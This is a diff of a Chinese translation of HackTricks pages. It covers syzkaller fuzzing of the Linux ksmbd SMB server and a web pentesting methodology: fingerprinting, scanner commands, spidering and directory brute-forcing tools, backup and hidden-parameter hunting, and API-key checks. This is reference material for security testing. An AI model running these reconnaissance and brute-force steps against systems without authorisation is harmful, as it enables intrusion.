## 用 ANYBLOB 打破覆盖率停滞
syzkaller 的 anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为以通用方式变异的 blob。可从公开的 SMB pcaps 为新的语料库 seed并将 payloads 转换为调用你的伪系统调用(例如 syz_ksmbd_send_req的 syzkaller 程序:
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
能快速启动探索,并且可以立即触发 UAFs例如在 ksmbd_sessions_deregister 中),同时将覆盖率提高几个百分点。
可以快速启动探索,并可能立即触发 UAFs (例如在 ksmbd_sessions_deregister 中),同时将覆盖率提升几个百分点。
---
## Sanitizers超越 KASAN
- KASAN 仍然是检测堆漏洞UAF/OOB的主要探测器。
- KCSAN 在该目标上经常产生误报或低严重度的数据竞争。
- UBSAN/KUBSAN 能捕获 KASAN 由于数组索引语义而遗漏的声明边界错误。示例:
## Sanitizers: 超越 KASAN
- KASAN remains the primary detector for heap bugs (UAF/OOB).
- KCSAN 在此目标上常常产生误报或低严重性的数据竞争。
- UBSAN/KUBSAN 可以捕获由于数组索引语义导致 KASAN 漏报的声明边界错误。示例:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -187,19 +187,19 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
---
## 吞吐量与并行性说明
- 单个 fuzzer 进程(共享 auth/state对于 ksmbd 通常更稳定,并且仍能借助 syzkaller 的内部 async executor 触发 races/UAFs
- 在多台 VMs 下,总体仍可达到每秒数百个 SMB 命令。函数级覆盖率大致可达 fs/smb/server 约 60% 和 smb2pdu.c 约 70%,但这些度量通常不能充分反映 state-transition 的覆盖情况。
- 单个 fuzzer 进程(shared auth/state对于 ksmbd 通常更稳定,并且由于 syzkaller 的 internal async executor仍然能暴露 race/UAF 等问题
- 使用多台 VM 时,总体仍可达到每秒数百个 SMB 命令的处理量。函数级覆盖率可以达到对 fs/smb/server 约 ~60% 和对 smb2pdu.c 约 ~70%,不过这类度量通常低估了状态转换的覆盖情况。
---
## 实用检查清单
## 实用清单
- 在 ksmbd 中启用 durable handles、leases、multi-channel、oplocks 和 VFS objects。
- 允许 guest 和 map-to-guest接受 NTLMv2。移除 credit limits 并提高 max connections 以提升 fuzzer 稳定性。
- 构建有状态的 harness缓存 SessionId/TreeID/FileIDs 并串联 create → ioctl → close
- 使用 SMB2 PDUs 的 grammar 以保持结构有效性。
- 使用 focus_areas 对覆盖薄弱的函数加权(例如 smbacl.c 中的 smb_check_perm_dacl 路径)。
- 用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台瓶颈;用 syz-db 打包 seeds 以便复用。
- 使用 KASAN + UBSAN 运行;仔细处置 UBSAN 的 declared-bounds 报告。
- 允许 guest 和 map-to-guest接受 NTLMv2。去掉 credit limits 并提高 max connections 以提高 fuzzer 的稳定性。
- 构建一个有状态的 harness缓存 SessionId/TreeID/FileIDs,并将 create → ioctl → close 链接起来
- 使用针对 SMB2 PDUs 的 grammar 以保持结构有效性。
- 使用 focus_areas 来加重那些覆盖较弱的函数(例如 smbacl.c 中像 smb_check_perm_dacl 的路径)。
- 使用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台期;使用 syz-db 打包种子以便复用。
- 在 KASAN + UBSAN 下运行;仔细整理 UBSAN declared-bounds 报告。
---
@ -214,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
- 背景阅读: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## 基本信息
Web 服务是最 **常见且范围广泛的服务**,存在许多 **不同类型的漏洞**
web 服务是最**常见且范围最广的服务**之一,存在许多**不同类型的漏洞**
**默认端口** 80 (HTTP), 443(HTTPS)
**默认端口:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
## 方法论摘要
## Methodology summary
> 在本方法论中,我们假定你将针对一个 domain或 subdomain进行攻击仅针对该目标。因此应当对范围内每个发现的 domain、subdomain 或运行不明 web server 的 IP 应用此方法论
> 在此 methodology 中,我们假设你只会攻击一个域(或子域)。因此,应对在范围内发现的每个域、子域或未确定 web server 的 IP 应用此 methodology
- [ ] 首先**识别** web server 使用的 **technologies**。如果能成功识别该 tech请在后续测试中留意相关 **tricks**
- [ ] 该 technology 的版本是否存在已知的 **known vulnerability**
- [ ] 是否使用了任何 **well known tech**?是否有任何 **useful trick** 可用于提取更多信息?
- [ ] 是否有需要运行的 **specialised scanner**(例如 wpscan
- [ ] 运行 **general purposes scanners**。你永远不知道它们是否会发现什么或提供有价值的信息。
- [ ] **initial checks** 开始:检查 **robots**、**sitemap**、**404** 错误以及 **SSL/TLS scan**(如果为 HTTPS
- [ ] 开始对网页进行 **spidering**:现在是时候 **find** 出所有可能的 **files, folders** 及正在使用的 **parameters**。同时,检查是否有 **special findings**
- [ ] _注意:在 brute-forcing 或 spidering 过程中发现任何新目录时,应该对其进行 spidering。_
- [ ] **Directory Brute-Forcing**:尝试对所有已发现的文件夹进行 brute force以寻找新的 **files****directories**
- [ ] _注意:在 brute-forcing 或 spidering 过程中发现任何新目录时,应该对其进行 Brute-Forced。_
- [ ] **Backups checking**:通过附加常见的备份扩展名,测试是否能找到 **discovered files****backups**
- [ ] **Brute-Force parameters**:尝试 **find hidden parameters**
- [ ] 一旦你 **identified** 了所有可能接受 **user input****endpoints**,就要检查与之相关的各种 **vulnerabilities**
- [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech.
- [ ] Any **known vulnerability** of the version of the technology?
- [ ] Using any **well known tech**? Any **useful trick** to extract more information?
- [ ] Any **specialised scanner** to run (like wpscan)?
- [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information.
- [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS).
- [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: Test if you can find **backups** of **discovered files** appending common backup extensions.
- [ ] **Brute-Force parameters**: Try to **find hidden parameters**.
- [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## 服务器版本(是否易受攻击?)
## Server Version (Vulnerable?)
### 识别
### Identify
检查正在运行的服务器 **version** 是否存在 **known vulnerabilities**\
**HTTP headers and cookies of the response** 对 **identify** 所使用的 **technologies** 和/或 **version** 非常有帮助。**Nmap scan** 可以识别服务器版本,但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
Check if there are **known vulnerabilities** for the server **version** that is running.\
The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
搜索 **是否有** [**web 应用的漏洞** **版本信息**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **检查是否有 WAF**
### **Check if any WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web 技术 技巧
### Web tech tricks
一些 **技巧** 用于在不同知名 **技术****发现漏洞**
一些用于在不同已知技术中发现漏洞的技巧
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -102,27 +102,27 @@ webanalyze -host https://google.com -crawl 2
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_请注意**同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**._\
如果该 web 应用 使用 之前列出的任何知名 **技术/平台****任何其他**,别忘了 **在互联网上搜索** 新的技巧(并告诉我!)。
_请注意 **同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**。_\
如果 web 应用正在使用任何之前列出的知名 **技术/平台****其他**,别忘了在 **互联网上搜索** 新的技巧(并告诉我!)。
### 源代码审查
### Source Code Review
如果应用的 **源代码** 可在 **github** 获取,除了你亲自对应用进行 **White box test** 外,还有一些 **信息** 可能对当前的 **Black-Box testing** 有用
如果应用的 **源代码** 可在 **github** 获取,除了你自行对该应用进行 **白盒测试** 之外,仓库中还有一些可能对当前 **黑盒测试** 有用的 **信息**
- 是否有 **Change-log 或 Readme 或 Version** 文件或任何通过 web 访问的 **版本信息**
- **凭据** 是如何以及在哪里保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)
- **密码** **明文**、**加密** 还是使用了哪种 **哈希算法**
- 是否使用任何 **master key** 来加密某些东西?使用了哪种 **算法**
- 你能否通过利用某些漏洞 **访问这些文件中的任意一个**
- 在 **github** 中是否有任何有趣的信息(已解决和未解决的)**issues**?或者在 **commit history** 中(可能某个旧提交中引入了某个 **密码**
- 是否有 **Change-log 或 Readme 或 Version** 文件或任何通过 web 访问的 **版本信息**
- 凭证是如何以及在哪里保存的?是否有任何(可访问的?)含有凭证(用户名或密码)的 **文件**
- 密码是 **明文**、**加密** 还是使用了哪种 **哈希算法**
- 是否使用任何用于加密的 **主密钥**?使用的是哪种 **算法**
- 你是否可以通过利用某些漏洞访问这些 **文件** 中的任意一个
- 在 **github** 中是否有任何 **有趣的信息**(已解决或未解决的)**issues**?或者在 **commit history**(提交历史)中是否有(可能在旧的提交中引入的)**密码**
{{#ref}}
code-review-tools.md
{{#endref}}
### 自动扫描器
### Automatic scanners
#### 通用自动扫描器
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -136,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
如果使用了 CMS别忘了**运行扫描器**可能会发现有价值的内容
如果使用了 CMS别忘了**运行扫描器**也许会发现有价值的信息
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测网站的安全问题。 (GUI)\
@ -149,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 到此为止,你应该已经对客户端使用的 web server如果有提供数据有了一些了解并掌握在测试中需注意的一些技巧。如果幸运的话你甚至可能已经发现了 CMS 并运行了一些 scanner。
> 此时你应该已经掌握了一些关于客户端使用的 web 服务器的信息(如果提供了任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至已经发现了一个 CMS 并运行了一些 scanner。
## 逐步 Web Application 发现
> 从这一点开始,我们将开始与 web application 交互。
> 从这一点开始我们将开始与 web 应用交互。
### 初检查
### 初检查
**带有有用信息的默认页面:**
**包含有用信息的默认页面:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- 检查主页面和次要页面中的注释。
- 还要检查主页面和次要页面中的注释。
**触发错误**
**强制产生错误**
当向 Web 服务器发送异常数据时,服务器可能会**异常行为**。这可能会打开 **vulnerabilities****泄露敏感信息**
当向 Web 服务器发送奇怪的数据时,服务器可能会**表现异常**。这可能会暴露**漏洞**或**泄露敏感信息**
- 访问 **伪造页面**,例如 /whatever_fake.php (.aspx,.html,.etc)
- 在 **cookie 值****参数值** 中 **添加 "\[]", "]]", 和 "\[["**制造错误
- 通过在 **URL****末尾** 提供输入 **`/~randomthing/%s`** 来生成错误
- 尝试不同的 **HTTP Verbs**,例如 PATCH、DEBUG故意使用错误的 FAKE
- 访问 **页面**,例如 /whatever_fake.php (.aspx,.html,.etc)
- **** **cookie 值****参数 值** 中 **添加 "\[]", "]]", 和 "\[["**触发错误
- 通过在 **URL****末尾** 提供输入 **`/~randomthing/%s`** 来生成错误
- 尝试 **不同的 HTTP Verbs**,例如 PATCH、DEBUG或错误的 FAKE
#### **检查是否可以上传文件 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
如果你发现 **WebDav** 已启用,但你在根目录没有足够的权限来 **上传文件**,尝试:
如果发现 **WebDav****启用**,但在根文件夹没有足够权限进行 **上传文件**,尝试:
- **Brute Force** 凭证
- 通过 WebDav **Upload files** 到网页中已发现的其他文件夹。你可能对其他文件夹具有上传权限。
- 通过 WebDav **上传文件** 放到网页内其他 **已发现文件夹**。你可能在这些文件夹拥有上传权限。
### **SSL/TLS 漏洞**
- 如果应用在任何部分**没有强制使用 HTTPS**则容易受到 **MitM** 攻击。
- 如果应用**通过 HTTP 发送敏感数据(密码)**,则这是一个高危漏洞。
- 如果应用在任何部分**没有强制使用 HTTPS**那么它**容易受到 MitM 攻击**
- 如果应用**通过 HTTP 发送敏感数据(密码)**,则这是一个高危漏洞。
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查 **vulnerabilities**(在 Bug Bounty 计划中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些 vulnerabilities
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **漏洞**(在 Bug Bounty 项目中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些漏洞
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -203,51 +203,51 @@ Information about SSL/TLS vulnerabilities:
### Spidering
在 web 应用内启动某种 **spider**。spider 的目标是从被测试的应用中**找到尽可能多的路径**。因此,应使用 web 爬行和外部来源来发现尽可能多的有效路径。
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 爬虫,可在 JS 文件中使用 LinkFinder并使用外部来源 (Archive.org, CommonCrawl.org, VirusTotal.com)
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 爬虫,具有针对 JS 文件的 LinkFinder 并使用 Archive.org 作为外部来源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 爬虫,同时标记“juicy files”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式 CLI HTML 爬虫。也会在 Archive.org 中搜索。
- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是蜘蛛但很有用。你可以提供一个 hosts 文件和一个 paths 文件meg 会对每个主机的每个路径进行抓取并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有 JS 渲染能力的 HTML 爬虫。然而,看起来它没有维护,预编译版本较旧且当前代码无法编译
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的 HTML 爬虫。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本会找到带参数的 URL 并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有 JS 渲染能力的 HTML 爬虫
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 爬虫,具备 JS 美化能力,可在 JS 文件中搜索新路径。也可以看看 [JSScanner](https://github.com/dark-warlord14/JSScanner),它是 LinkFinder 的一个封装。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug 猎人、red teamers、infosec ninjas 很有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件中解析相对 URL。对轻松发现 AJAX 请求很有用。似乎未维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件 (HTML),它将使用巧妙的正则表达式从混淆minify文件中查找并提取相对 URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 使用多个工具从 JS 文件中收集有趣信息。
- [**subjs**](https://github.com/lc/subjs) (go): 查找 JS 文件
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在 headless browser 中加载页面并打印出所有为加载页面所请求的 urls。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,融合了前述工具的多种选项
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个 Burp 扩展,用于在 JS 文件中查找路径和参数
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 给定 .js.map URL 时,获取美化后的 JS 代码的工具。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 用于为给定目标发现 endpoints 的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并寻找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定 regex 查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite 是为网络安全专家设计的高级多功能 GUI web 安全 Crawler/Spider。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 和其他有趣数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge 是一个简单的 **Burp Suite extension**,用于从请求中**提取参数和 endpoints**,以为 fuzzing 和枚举创建自定义 wordlist。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 对此非常棒的工具
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个 link
- [**gospider**](https://github.com/jaeles-project/gospider) (go)HTML spider能在 JS files 中使用 LinkFinder 并查询外部来源Archive.org、CommonCrawl.org、VirusTotal.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go)HML spider带有针对 JS files 的 LinkFinder并使用 Archive.org 作为外部来源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python)HTML spider同时指出“juicy files”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go)Interactive CLI HTML spider。它也会在 Archive.org 中搜索
- [**meg**](https://github.com/tomnomnom/meg) (go):这个工具不是 spider但可能有用。你可以指定一个 hosts 文件和一个 paths 文件meg 会对每个 host 的每个 path 发起请求并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go):具有 JS rendering 功能的 HTML spider。但看起来未维护,预编译版本较旧且当前代码无法编译
- [**gau**](https://github.com/lc/gau) (go)使用外部提供者wayback、otx、commoncrawl的 HTML spider
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider):该脚本将找到带参数的 URL 并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go):具有 JS rendering 功能的 HTML spider
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python)HTML spider具备 JS beautify 功能,能够在 JS files 中搜索新路径。也值得看一下 [JSScanner](https://github.com/dark-warlord14/JSScanner),这是 LinkFinder 的一个封装。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go):用于从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug hunters、red teamers、infosec ninjas 很有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7):一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件解析相对 URL。对发现 AJAX 请求很有用。看起来未维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby)给定一个文件HTML它会使用巧妙的正则表达式从丑陋minify文件中查找并提取相对 URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools):使用多个工具从 JS files 收集有趣的信息。
- [**subjs**](https://github.com/lc/subjs) (go):查找 JS files
- [**page-fetch**](https://github.com/detectify/page-fetch) (go):在 headless browser 中加载页面并打印出为加载该页面而加载的所有 urls。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust)内容发现工具,融合了前述工具的多种选项
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions):一个 Burp 扩展,用于在 JS files 中查找 path 和 params
- [**Sourcemapper**](https://github.com/denandz/sourcemapper):给定 .js.map URL 时,该工具会获取 beautified 的 JS 代码
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder)用于为给定目标发现 endpoints 的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并查找更多链接)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go):可以抓取(甚至通过填写表单)并使用特定 regex 查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite)Spider Suite 是一个为网络安全专业人员设计的高级多功能 GUI web security Crawler/Spider。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go):这是一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 以及其他有趣的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge)ParaForge 是一个简单的 **Burp Suite extension**,用于 **提取请求中的 parameters 和 endpoints**,以便为 fuzzing 和枚举创建自定义 wordlist。
- [**katana**](https://github.com/projectdiscovery/katana) (go):非常适合这类工作
- [**Crawley**](https://github.com/s0rg/crawley) (go):打印它能找到的每一个链接
### Brute Force directories and files
从根目录开始进行 **brute-forcing**,并确保使用**此方法**对**发现的所有目录**进行 brute-force也对通过 **Spidering** **发现的所有目录**进行 brute-force你可以递归地进行 brute-forcing并在所用 wordlist 开头添加已发现目录的名称)。\
工具:
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
- **Dirb** / **Dirbuster** - 包含在 Kali 中,**老旧**(且**慢**)但可用。允许 auto-signed certificates 和递归搜索。与其它选项相比太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许 auto-signed certificates 但**允许递归搜索**。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许 auto-signed certificates但**不**支持**递归**搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go):支持自签名证书,但**不**支持 **recursive** 搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是蜘蛛,但给定已发现的 URL 列表后,它会删除“重复”的 URLs。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 扩展,从不同页面的 burp 历史中创建目录列表
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 基于 js imports 移除具有重复功能的 URLs
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用 wapalyzer 检测使用的技术并选择要使用的 wordlists。
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python):这不是 spider但给定已发现的 URL 列表后,它可以删除“重复”的 URLs。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger)Burp Extension用于从不同页面的 burp 历史中创建目录列表
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor)基于 js imports 移除具有重复功能的 URLs
- [**Chamaleon**](https://github.com/iustin24/chameleon):它使用 wapalyzer 检测所用技术并选择要使用的 wordlists。
**Recommended dictionaries:**
@ -268,41 +268,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_注意:每当在 brute-forcing 或 spidering 过程中发现新目录时,应该对其进行 Brute-Force。_
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 在 HTML 中查找可能导致 takeover 的 broken links。
- **File Backups**: 找到所有文件后,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体有: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)****
- **Discover new parameters**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,试在每个可执行的 web 文件上搜索隐藏参数。**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker):在 HTML 中查找可能导致 takeovers 的 broken links
- **File Backups**:一旦你找到了所有文件,查看所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体包括_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,应尝试在每个可执行的 web 文件上搜索** 隐藏参数。
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** 检查所有文件的注释,你可能会发现 **credentials****隐藏功能**。
- 如果你在**CTF**,一个“常见”的技巧是将 **信息**隐藏在页面**右侧**的注释中(使用**数百个空格**,这样如果在浏览器中打开源码你就不会看到数据)。另一种可能是使用**多个换行**并在页底部的注释中**隐藏信息**。
- **API keys**: 如果你**发现任何 API key**,有一些项目说明如何使用不同平台的 API keys [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 如果你发现任何看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik 的 API key可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis。
- **S3 Buckets**: 在 spidering 时查看是否有任何 **subdomain****link** 与某个 **S3 bucket** 相关。如果是这种情况,去 [**check** the **permissions** of the bucket](buckets/index.html)。
